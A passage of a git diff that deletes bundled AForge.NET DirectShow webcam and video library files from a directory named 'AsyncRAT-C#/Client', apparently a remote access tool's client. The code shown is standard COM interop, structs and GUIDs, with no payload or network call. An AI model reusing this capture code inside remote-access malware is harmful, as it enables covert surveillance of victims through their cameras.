SetCallback( ISampleGrabberCB callback, int whichMethodToCallback ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs deleted file mode 100644 index 4dc7340..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs +++ /dev/null @@ -1,47 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2007 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// The interface provides callback methods for the method. - /// - /// - [ComImport, - Guid("0579154A-2B53-4994-B0D0-E773148EFF85"), - InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - internal interface ISampleGrabberCB - { - /// - /// Callback method that receives a pointer to the media sample. - /// - /// - /// Starting time of the sample, in seconds. - /// Pointer to the sample's IMediaSample interface. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SampleCB( double sampleTime, IntPtr sample ); - - /// - /// Callback method that receives a pointer to the sample bufferþ - /// - /// - /// Starting time of the sample, in seconds. - /// Pointer to a buffer that contains the sample data. - /// Length of the buffer pointed to by buffer, in bytes - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int BufferCB( double sampleTime, IntPtr buffer, int bufferLen ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs deleted file mode 100644 index ecb0739..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs +++ /dev/null @@ -1,36 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2008 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// The interface indicates that an object supports property pages. - /// - /// - [ComImport, - Guid( "B196B28B-BAB4-101A-B69C-00AA00341D07" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface ISpecifyPropertyPages - { - /// - /// Fills a counted array of GUID values where each GUID specifies the - /// CLSID of each property page that can be displayed in the property - /// sheet for this object. - /// - /// - /// Pointer to a CAUUID structure that must be initialized - /// and filled before returning. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetPages( out CAUUID pPages ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Structures.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Structures.cs deleted file mode 100644 index 530283c..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Structures.cs +++ /dev/null @@ -1,518 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2009-2013 -// contacts@aforgenet.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - using System.Drawing; - - // PIN_DIRECTION - - /// - /// This enumeration indicates a pin's direction. - /// - /// - [ComVisible( false )] - internal enum PinDirection - { - /// - /// Input pin. - /// - Input, - - /// - /// Output pin. - /// - Output - } - - // AM_MEDIA_TYPE - - /// - /// The structure describes the format of a media sample. - /// - /// - [ComVisible( false ), - StructLayout( LayoutKind.Sequential )] - internal class AMMediaType : IDisposable - { - /// - /// Globally unique identifier (GUID) that specifies the major type of the media sample. - /// - public Guid MajorType; - - /// - /// GUID that specifies the subtype of the media sample. - /// - public Guid SubType; - - /// - /// If true, samples are of a fixed size. - /// - [MarshalAs( UnmanagedType.Bool )] - public bool FixedSizeSamples = true; - - /// - /// If true, samples are compressed using temporal (interframe) compression. - /// - [MarshalAs( UnmanagedType.Bool )] - public bool TemporalCompression; - - /// - /// Size of the sample in bytes. For compressed data, the value can be zero. - /// - public int SampleSize = 1; - - /// - /// GUID that specifies the structure used for the format block. - /// - public Guid FormatType; - - /// - /// Not used. - /// - public IntPtr unkPtr; - - /// - /// Size of the format block, in bytes. - /// - public int FormatSize; - - /// - /// Pointer to the format block. - /// - public IntPtr FormatPtr; - - /// - /// Destroys the instance of the class. - /// - /// - ~AMMediaType( ) - { - Dispose( false ); - } - - /// - /// Dispose the object. - /// - /// - public void Dispose( ) - { - Dispose( true ); - // remove me from the Finalization queue - GC.SuppressFinalize( this ); - } - - /// - /// Dispose the object - /// - /// - /// Indicates if disposing was initiated manually. - /// - protected virtual void Dispose( bool disposing ) - { - if ( ( FormatSize != 0 ) && ( FormatPtr != IntPtr.Zero ) ) - { - Marshal.FreeCoTaskMem( FormatPtr ); - FormatSize = 0; - } - - if ( unkPtr != IntPtr.Zero ) - { - Marshal.Release( unkPtr ); - unkPtr = IntPtr.Zero; - } - } - } - - - // PIN_INFO - - /// - /// The structure contains information about a pin. - /// - /// - [ComVisible( false ), - StructLayout( LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode )] - internal struct PinInfo - { - /// - /// Owning filter. - /// - public IBaseFilter Filter; - - /// - /// Direction of the pin. - /// - public PinDirection Direction; - - /// - /// Name of the pin. - /// - [MarshalAs( UnmanagedType.ByValTStr, SizeConst = 128 )] - public string Name; - } - - // FILTER_INFO - [ComVisible( false ), - StructLayout( LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode )] - internal struct FilterInfo - { - /// - /// Filter's name. - /// - [MarshalAs( UnmanagedType.ByValTStr, SizeConst = 128 )] - public string Name; - - /// - /// Owning graph. - /// - public IFilterGraph FilterGraph; - } - - // VIDEOINFOHEADER - - /// - /// The structure describes the bitmap and color information for a video image. - /// - /// - [ComVisible( false ), - StructLayout( LayoutKind.Sequential )] - internal struct VideoInfoHeader - { - /// - /// structure that specifies the source video window. - /// - public RECT SrcRect; - - /// - /// structure that specifies the destination video window. - /// - public RECT TargetRect; - - /// - /// Approximate data rate of the video stream, in bits per second. - /// - public int BitRate; - - /// - /// Data error rate, in bit errors per second. - /// - public int BitErrorRate; - - /// - /// The desired average display time of the video frames, in 100-nanosecond units. - /// - public long AverageTimePerFrame; - - /// - /// structure that contains color and dimension information for the video image bitmap. - /// - public BitmapInfoHeader BmiHeader; - } - - // VIDEOINFOHEADER2 - - /// - /// The structure describes the bitmap and color information for a video image (v2). - /// - /// - [ComVisible( false ), - StructLayout( LayoutKind.Sequential )] - internal struct VideoInfoHeader2 - { - /// - /// structure that specifies the source video window. - /// - public RECT SrcRect; - - /// - /// structure that specifies the destination video window. - /// - public RECT TargetRect; - - /// - /// Approximate data rate of the video stream, in bits per second. - /// - public int BitRate; - - /// - /// Data error rate, in bit errors per second. - /// - public int BitErrorRate; - - /// - /// The desired average display time of the video frames, in 100-nanosecond units. - /// - public long AverageTimePerFrame; - - /// - /// Flags that specify how the video is interlaced. - /// - public int InterlaceFlags; - - /// - /// Flag set to indicate that the duplication of the stream should be restricted. - /// - public int CopyProtectFlags; - - /// - /// The X dimension of picture aspect ratio. - /// - public int PictAspectRatioX; - - /// - /// The Y dimension of picture aspect ratio. - /// - public int PictAspectRatioY; - - /// - /// Reserved for future use. - /// - public int Reserved1; - - /// - /// Reserved for future use. - /// - public int Reserved2; - - /// - /// structure that contains color and dimension information for the video image bitmap. - /// - public BitmapInfoHeader BmiHeader; - } - - /// - /// The structure contains information about the dimensions and color format of a device-independent bitmap (DIB). - /// - /// - [ComVisible( false ), - StructLayout( LayoutKind.Sequential, Pack = 2 )] - internal struct BitmapInfoHeader - { - /// - /// Specifies the number of bytes required by the structure. - /// - public int Size; - - /// - /// Specifies the width of the bitmap. - /// - public int Width; - - /// - /// Specifies the height of the bitmap, in pixels. - /// - public int Height; - - /// - /// Specifies the number of planes for the target device. This value must be set to 1. - /// - public short Planes; - - /// - /// Specifies the number of bits per pixel. - /// - public short BitCount; - - /// - /// If the bitmap is compressed, this member is a FOURCC the specifies the compression. - /// - public int Compression; - - /// - /// Specifies the size, in bytes, of the image. - /// - public int ImageSize; - - /// - /// Specifies the horizontal resolution, in pixels per meter, of the target device for the bitmap. - /// - public int XPelsPerMeter; - - /// - /// Specifies the vertical resolution, in pixels per meter, of the target device for the bitmap. - /// - public int YPelsPerMeter; - - /// - /// Specifies the number of color indices in the color table that are actually used by the bitmap. - /// - public int ColorsUsed; - - /// - /// Specifies the number of color indices that are considered important for displaying the bitmap. - /// - public int ColorsImportant; - } - - // RECT - - /// - /// The structure defines the coordinates of the upper-left and lower-right corners of a rectangle. - /// - /// - [ComVisible( false ), - StructLayout( LayoutKind.Sequential )] - internal struct RECT - { - /// - /// Specifies the x-coordinate of the upper-left corner of the rectangle. - /// - public int Left; - - /// - /// Specifies the y-coordinate of the upper-left corner of the rectangle. - /// - public int Top; - - /// - /// Specifies the x-coordinate of the lower-right corner of the rectangle. - /// - public int Right; - - /// - /// Specifies the y-coordinate of the lower-right corner of the rectangle. - /// - public int Bottom; - } - - // CAUUID - - /// - /// The CAUUID structure is a Counted Array of UUID or GUID types. - /// - /// - [ComVisible( false ), - StructLayout( LayoutKind.Sequential )] - internal struct CAUUID - { - /// - /// Size of the array pointed to by pElems. - /// - public int cElems; - - /// - /// Pointer to an array of UUID values, each of which specifies UUID. - /// - public IntPtr pElems; - - /// - /// Performs manual marshaling of pElems to retrieve an array of Guid objects. - /// - /// - /// A managed representation of pElems. - /// - public Guid[] ToGuidArray( ) - { - Guid[] retval = new Guid[cElems]; - - for ( int i = 0; i < cElems; i++ ) - { - IntPtr ptr = new IntPtr( pElems.ToInt64( ) + i * Marshal.SizeOf( typeof( Guid ) ) ); - retval[i] = (Guid) Marshal.PtrToStructure( ptr, typeof( Guid ) ); - } - - return retval; - } - } - - /// - /// Enumeration of DirectShow event codes. - /// - internal enum DsEvCode - { - None, - Complete = 0x01, // EC_COMPLETE - DeviceLost = 0x1F, // EC_DEVICE_LOST - //(...) not yet interested in other events - } - - [Flags, ComVisible( false )] - internal enum AnalogVideoStandard - { - None = 0x00000000, // This is a digital sensor - NTSC_M = 0x00000001, // 75 IRE Setup - NTSC_M_J = 0x00000002, // Japan, 0 IRE Setup - NTSC_433 = 0x00000004, - PAL_B = 0x00000010, - PAL_D = 0x00000020, - PAL_G = 0x00000040, - PAL_H = 0x00000080, - PAL_I = 0x00000100, - PAL_M = 0x00000200, - PAL_N = 0x00000400, - PAL_60 = 0x00000800, - SECAM_B = 0x00001000, - SECAM_D = 0x00002000, - SECAM_G = 0x00004000, - SECAM_H = 0x00008000, - SECAM_K = 0x00010000, - SECAM_K1 = 0x00020000, - SECAM_L = 0x00040000, - SECAM_L1 = 0x00080000, - PAL_N_COMBO = 0x00100000 // Argentina - } - - [Flags, ComVisible( false )] - internal enum VideoControlFlags - { - FlipHorizontal = 0x0001, - FlipVertical = 0x0002, - ExternalTriggerEnable = 0x0004, - Trigger = 0x0008 - } - - [StructLayout( LayoutKind.Sequential ), ComVisible( false )] - internal class VideoStreamConfigCaps // VIDEO_STREAM_CONFIG_CAPS - { - public Guid Guid; - public AnalogVideoStandard VideoStandard; - public Size InputSize; - public Size MinCroppingSize; - public Size MaxCroppingSize; - public int CropGranularityX; - public int CropGranularityY; - public int CropAlignX; - public int CropAlignY; - public Size MinOutputSize; - public Size MaxOutputSize; - public int OutputGranularityX; - public int OutputGranularityY; - public int StretchTapsX; - public int StretchTapsY; - public int ShrinkTapsX; - public int ShrinkTapsY; - public long MinFrameInterval; - public long MaxFrameInterval; - public int MinBitsPerSecond; - public int MaxBitsPerSecond; - } - - /// - /// Specifies a filter's state or the state of the filter graph. - /// - internal enum FilterState - { - /// - /// Stopped. The filter is not processing data. - /// - State_Stopped, - - /// - /// Paused. The filter is processing data, but not rendering it. - /// - State_Paused, - - /// - /// Running. The filter is processing and rendering data. - /// - State_Running - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Uuids.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Uuids.cs deleted file mode 100644 index 8dc1874..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Uuids.cs +++ /dev/null @@ -1,299 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2009-2013 -// contacts@aforgenet.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// DirectShow class IDs. - /// - [ComVisible( false )] - static internal class Clsid - { - /// - /// System device enumerator. - /// - /// - /// Equals to CLSID_SystemDeviceEnum. - /// - public static readonly Guid SystemDeviceEnum = - new Guid( 0x62BE5D10, 0x60EB, 0x11D0, 0xBD, 0x3B, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); - - /// - /// Filter graph. - /// - /// - /// Equals to CLSID_FilterGraph. - /// - public static readonly Guid FilterGraph = - new Guid( 0xE436EBB3, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); - - /// - /// Sample grabber. - /// - /// - /// Equals to CLSID_SampleGrabber. - /// - public static readonly Guid SampleGrabber = - new Guid( 0xC1F400A0, 0x3F08, 0x11D3, 0x9F, 0x0B, 0x00, 0x60, 0x08, 0x03, 0x9E, 0x37 ); - - /// - /// Capture graph builder. - /// - /// - /// Equals to CLSID_CaptureGraphBuilder2. - /// - public static readonly Guid CaptureGraphBuilder2 = - new Guid( 0xBF87B6E1, 0x8C27, 0x11D0, 0xB3, 0xF0, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 ); - - /// - /// Async reader. - /// - /// - /// Equals to CLSID_AsyncReader. - /// - public static readonly Guid AsyncReader = - new Guid( 0xE436EBB5, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); - } - - /// - /// DirectShow format types. - /// - /// - [ComVisible( false )] - static internal class FormatType - { - /// - /// VideoInfo. - /// - /// - /// Equals to FORMAT_VideoInfo. - /// - public static readonly Guid VideoInfo = - new Guid( 0x05589F80, 0xC356, 0x11CE, 0xBF, 0x01, 0x00, 0xAA, 0x00, 0x55, 0x59, 0x5A ); - - /// - /// VideoInfo2. - /// - /// - /// Equals to FORMAT_VideoInfo2. - /// - public static readonly Guid VideoInfo2 = - new Guid( 0xf72A76A0, 0xEB0A, 0x11D0, 0xAC, 0xE4, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA ); - } - - /// - /// DirectShow media types. - /// - /// - [ComVisible( false )] - static internal class MediaType - { - /// - /// Video. - /// - /// - /// Equals to MEDIATYPE_Video. - /// - public static readonly Guid Video = - new Guid( 0x73646976, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); - - /// - /// Interleaved. Used by Digital Video (DV). - /// - /// - /// Equals to MEDIATYPE_Interleaved. - /// - public static readonly Guid Interleaved = - new Guid( 0x73766169, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); - - /// - /// Audio. - /// - /// - /// Equals to MEDIATYPE_Audio. - /// - public static readonly Guid Audio = - new Guid( 0x73647561, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); - - /// - /// Text. - /// - /// - /// Equals to MEDIATYPE_Text. - /// - public static readonly Guid Text = - new Guid( 0x73747874, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); - - /// - /// Byte stream with no time stamps. - /// - /// - /// Equals to MEDIATYPE_Stream. - /// - public static readonly Guid Stream = - new Guid( 0xE436EB83, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); - } - - /// - /// DirectShow media subtypes. - /// - /// - [ComVisible( false )] - static internal class MediaSubType - { - /// - /// YUY2 (packed 4:2:2). - /// - /// - /// Equals to MEDIASUBTYPE_YUYV. - /// - public static readonly Guid YUYV = - new Guid( 0x56595559, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); - - /// - /// IYUV. - /// - /// - /// Equals to MEDIASUBTYPE_IYUV. - /// - public static readonly Guid IYUV = - new Guid( 0x56555949, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); - - /// - /// A DV encoding format. (FOURCC 'DVSD') - /// - /// - /// Equals to MEDIASUBTYPE_DVSD. - /// - public static readonly Guid DVSD = - new Guid( 0x44535644, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); - - /// - /// RGB, 1 bit per pixel (bpp), palettized. - /// - /// - /// Equals to MEDIASUBTYPE_RGB1. - /// - public static readonly Guid RGB1 = - new Guid( 0xE436EB78, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); - - /// - /// RGB, 4 bpp, palettized. - /// - /// - /// Equals to MEDIASUBTYPE_RGB4. - /// - public static readonly Guid RGB4 = - new Guid( 0xE436EB79, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); - - /// - /// RGB, 8 bpp. - /// - /// - /// Equals to MEDIASUBTYPE_RGB8. - /// - public static readonly Guid RGB8 = - new Guid( 0xE436EB7A, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); - - /// - /// RGB 565, 16 bpp. - /// - /// - /// Equals to MEDIASUBTYPE_RGB565. - /// - public static readonly Guid RGB565 = - new Guid( 0xE436EB7B, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); - - /// - /// RGB 555, 16 bpp. - /// - /// - /// Equals to MEDIASUBTYPE_RGB555. - /// - public static readonly Guid RGB555 = - new Guid( 0xE436EB7C, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); - - /// - /// RGB, 24 bpp. - /// - /// - /// Equals to MEDIASUBTYPE_RGB24. - /// - public static readonly Guid RGB24 = - new Guid( 0xE436Eb7D, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); - - /// - /// RGB, 32 bpp, no alpha channel. - /// - /// - /// Equals to MEDIASUBTYPE_RGB32. - /// - public static readonly Guid RGB32 = - new Guid( 0xE436EB7E, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); - - /// - /// Data from AVI file. - /// - /// - /// Equals to MEDIASUBTYPE_Avi. - /// - public static readonly Guid Avi = - new Guid( 0xE436EB88, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); - - /// - /// Advanced Streaming Format (ASF). - /// - /// - /// Equals to MEDIASUBTYPE_Asf. - /// - public static readonly Guid Asf = - new Guid( 0x3DB80F90, 0x9412, 0x11D1, 0xAD, 0xED, 0x00, 0x00, 0xF8, 0x75, 0x4B, 0x99 ); - } - - /// - /// DirectShow pin categories. - /// - /// - [ComVisible( false )] - static internal class PinCategory - { - /// - /// Capture pin. - /// - /// - /// Equals to PIN_CATEGORY_CAPTURE. - /// - public static readonly Guid Capture = - new Guid( 0xFB6C4281, 0x0353, 0x11D1, 0x90, 0x5F, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA ); - - /// - /// Still image pin. - /// - /// - /// Equals to PIN_CATEGORY_STILL. - /// - public static readonly Guid StillImage = - new Guid( 0xFB6C428A, 0x0353, 0x11D1, 0x90, 0x5F, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA ); - } - - // Below GUIDs are used by ICaptureGraphBuilder::FindInterface(). - [ComVisible( false )] - static internal class FindDirection - { - /// Equals to LOOK_UPSTREAM_ONLY. - public static readonly Guid UpstreamOnly = - new Guid( 0xAC798BE0, 0x98E3, 0x11D1, 0xB3, 0xF1, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 ); - - /// Equals to LOOK_DOWNSTREAM_ONLY. - public static readonly Guid DownstreamOnly = - new Guid( 0xAC798BE1, 0x98E3, 0x11D1, 0xB3, 0xF1, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Win32.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Win32.cs deleted file mode 100644 index 73d2e90..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Win32.cs +++ /dev/null @@ -1,102 +0,0 @@ -// AForge Video for Windows Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2007-2011 -// contacts@aforgenet.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - using System.Runtime.InteropServices.ComTypes; - - /// - /// Some Win32 API used internally. - /// - /// - internal static class Win32 - { - /// - /// Supplies a pointer to an implementation of IBindCtx (a bind context object). - /// This object stores information about a particular moniker-binding operation. - /// - /// - /// Reserved for future use; must be zero. - /// Address of IBindCtx* pointer variable that receives the - /// interface pointer to the new bind context object. - /// - /// Returns S_OK on success. - /// - [DllImport( "ole32.dll" )] - public static extern - int CreateBindCtx( int reserved, out IBindCtx ppbc ); - - /// - /// Converts a string into a moniker that identifies the object named by the string. - /// - /// - /// Pointer to the IBindCtx interface on the bind context object to be used in this binding operation. - /// Pointer to a zero-terminated wide character string containing the display name to be parsed. - /// Pointer to the number of characters of szUserName that were consumed. - /// Address of IMoniker* pointer variable that receives the interface pointer - /// to the moniker that was built from szUserName. - /// - /// Returns S_OK on success. - /// - [DllImport( "ole32.dll", CharSet = CharSet.Unicode )] - public static extern - int MkParseDisplayName( IBindCtx pbc, string szUserName, - ref int pchEaten, out IMoniker ppmk ); - - /// - /// Copy a block of memory. - /// - /// - /// Destination pointer. - /// Source pointer. - /// Memory block's length to copy. - /// - /// Return's the value of dst - pointer to destination. - /// - [DllImport( "ntdll.dll", CallingConvention = CallingConvention.Cdecl )] - public static unsafe extern int memcpy( - byte* dst, - byte* src, - int count ); - - /// - /// Invokes a new property frame, that is, a property sheet dialog box. - /// - /// - /// Parent window of property sheet dialog box. - /// Horizontal position for dialog box. - /// Vertical position for dialog box. - /// Dialog box caption. - /// Number of object pointers in ppUnk. - /// Pointer to the objects for property sheet. - /// Number of property pages in lpPageClsID. - /// Array of CLSIDs for each property page. - /// Locale identifier for property sheet locale. - /// Reserved. - /// Reserved. - /// - /// Returns S_OK on success. - /// - [DllImport( "oleaut32.dll" )] - public static extern int OleCreatePropertyFrame( - IntPtr hwndOwner, - int x, - int y, - [MarshalAs( UnmanagedType.LPWStr )] string caption, - int cObjects, - [MarshalAs( UnmanagedType.Interface, ArraySubType = UnmanagedType.IUnknown )] - ref object ppUnk, - int cPages, - IntPtr lpPageClsID, - int lcid, - int dwReserved, - IntPtr lpvReserved ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/PhysicalConnectorType.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/PhysicalConnectorType.cs deleted file mode 100644 index 365a7c3..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/PhysicalConnectorType.cs +++ /dev/null @@ -1,123 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2009-2012 -// contacts@aforgenet.com -// - -namespace AForge.Video.DirectShow -{ - /// - /// Specifies the physical type of pin (audio or video). - /// - public enum PhysicalConnectorType - { - /// - /// Default value of connection type. Physically it does not exist, but just either to specify that - /// connection type should not be changed (input) or was not determined (output). - /// - Default = 0, - /// - /// Specifies a tuner pin for video. - /// - VideoTuner = 1, - /// - /// Specifies a composite pin for video. - /// - VideoComposite, - /// - /// Specifies an S-Video (Y/C video) pin. - /// - VideoSVideo, - /// - /// Specifies an RGB pin for video. - /// - VideoRGB, - /// - /// Specifies a YRYBY (Y, R–Y, B–Y) pin for video. - /// - VideoYRYBY, - /// - /// Specifies a serial digital pin for video. - /// - VideoSerialDigital, - /// - /// Specifies a parallel digital pin for video. - /// - VideoParallelDigital, - /// - /// Specifies a SCSI (Small Computer System Interface) pin for video. - /// - VideoSCSI, - /// - /// Specifies an AUX (auxiliary) pin for video. - /// - VideoAUX, - /// - /// Specifies an IEEE 1394 pin for video. - /// - Video1394, - /// - /// Specifies a USB (Universal Serial Bus) pin for video. - /// - VideoUSB, - /// - /// Specifies a video decoder pin. - /// - VideoDecoder, - /// - /// Specifies a video encoder pin. - /// - VideoEncoder, - /// - /// Specifies a SCART (Peritel) pin for video. - /// - VideoSCART, - /// - /// Not used. - /// - VideoBlack, - - /// - /// Specifies a tuner pin for audio. - /// - AudioTuner = 4096, - /// - /// Specifies a line pin for audio. - /// - AudioLine, - /// - /// Specifies a microphone pin. - /// - AudioMic, - /// - /// Specifies an AES/EBU (Audio Engineering Society/European Broadcast Union) digital pin for audio. - /// - AudioAESDigital, - /// - /// Specifies an S/PDIF (Sony/Philips Digital Interface Format) digital pin for audio. - /// - AudioSPDIFDigital, - /// - /// Specifies a SCSI pin for audio. - /// - AudioSCSI, - /// - /// Specifies an AUX pin for audio. - /// - AudioAUX, - /// - /// Specifies an IEEE 1394 pin for audio. - /// - Audio1394, - /// - /// Specifies a USB pin for audio. - /// - AudioUSB, - /// - /// Specifies an audio decoder pin. - /// - AudioDecoder - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Uuids.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Uuids.cs deleted file mode 100644 index 3256fed..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Uuids.cs +++ /dev/null @@ -1,55 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2008 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow -{ - using System; - using System.Runtime.InteropServices; - - /// - /// DirectShow filter categories. - /// - [ComVisible( false )] - public static class FilterCategory - { - /// - /// Audio input device category. - /// - /// - /// Equals to CLSID_AudioInputDeviceCategory. - /// - public static readonly Guid AudioInputDevice = - new Guid( 0x33D9A762, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); - - /// - /// Video input device category. - /// - /// - /// Equals to CLSID_VideoInputDeviceCategory. - /// - public static readonly Guid VideoInputDevice = - new Guid( 0x860BB310, 0x5D01, 0x11D0, 0xBD, 0x3B, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); - - /// - /// Video compressor category. - /// - /// - /// Equals to CLSID_VideoCompressorCategory. - /// - public static readonly Guid VideoCompressorCategory = - new Guid( 0x33D9A760, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); - - /// - /// Audio compressor category - /// - /// - /// Equals to CLSID_AudioCompressorCategory. - /// - public static readonly Guid AudioCompressorCategory = - new Guid( 0x33D9A761, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCapabilities.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCapabilities.cs deleted file mode 100644 index a7c8dd4..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCapabilities.cs +++ /dev/null @@ -1,245 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2009-2013 -// contacts@aforgenet.com -// - -namespace AForge.Video.DirectShow -{ - using System; - using System.Collections.Generic; - using System.Drawing; - using System.Runtime.InteropServices; - - using AForge.Video; - using AForge.Video.DirectShow.Internals; - - /// - /// Capabilities of video device such as frame size and frame rate. - /// - public class VideoCapabilities - { - /// - /// Frame size supported by video device. - /// - public readonly Size FrameSize; - - /// - /// Frame rate supported by video device for corresponding frame size. - /// - /// - /// This field is depricated - should not be used. - /// Its value equals to . - /// - /// - [Obsolete( "No longer supported. Use AverageFrameRate instead." )] - public int FrameRate - { - get { return AverageFrameRate; } - } - - /// - /// Average frame rate of video device for corresponding frame size. - /// - public readonly int AverageFrameRate; - - /// - /// Maximum frame rate of video device for corresponding frame size. - /// - public readonly int MaximumFrameRate; - - /// - /// Number of bits per pixel provided by the camera. - /// - public readonly int BitCount; - - internal VideoCapabilities( ) { } - - // Retrieve capabilities of a video device - static internal VideoCapabilities[] FromStreamConfig( IAMStreamConfig videoStreamConfig ) - { - if ( videoStreamConfig == null ) - throw new ArgumentNullException( "videoStreamConfig" ); - - // ensure this device reports capabilities - int count, size; - int hr = videoStreamConfig.GetNumberOfCapabilities( out count, out size ); - - if ( hr != 0 ) - Marshal.ThrowExceptionForHR( hr ); - - if ( count <= 0 ) - throw new NotSupportedException( "This video device does not report capabilities." ); - - if ( size > Marshal.SizeOf( typeof( VideoStreamConfigCaps ) ) ) - throw new NotSupportedException( "Unable to retrieve video device capabilities. This video device requires a larger VideoStreamConfigCaps structure." ); - - // group capabilities with similar parameters - Dictionary videocapsList = new Dictionary( ); - - for ( int i = 0; i < count; i++ ) - { - try - { - VideoCapabilities vc = new VideoCapabilities( videoStreamConfig, i ); - - uint key = ( ( (uint) vc.FrameSize.Height ) << 32 ) | - 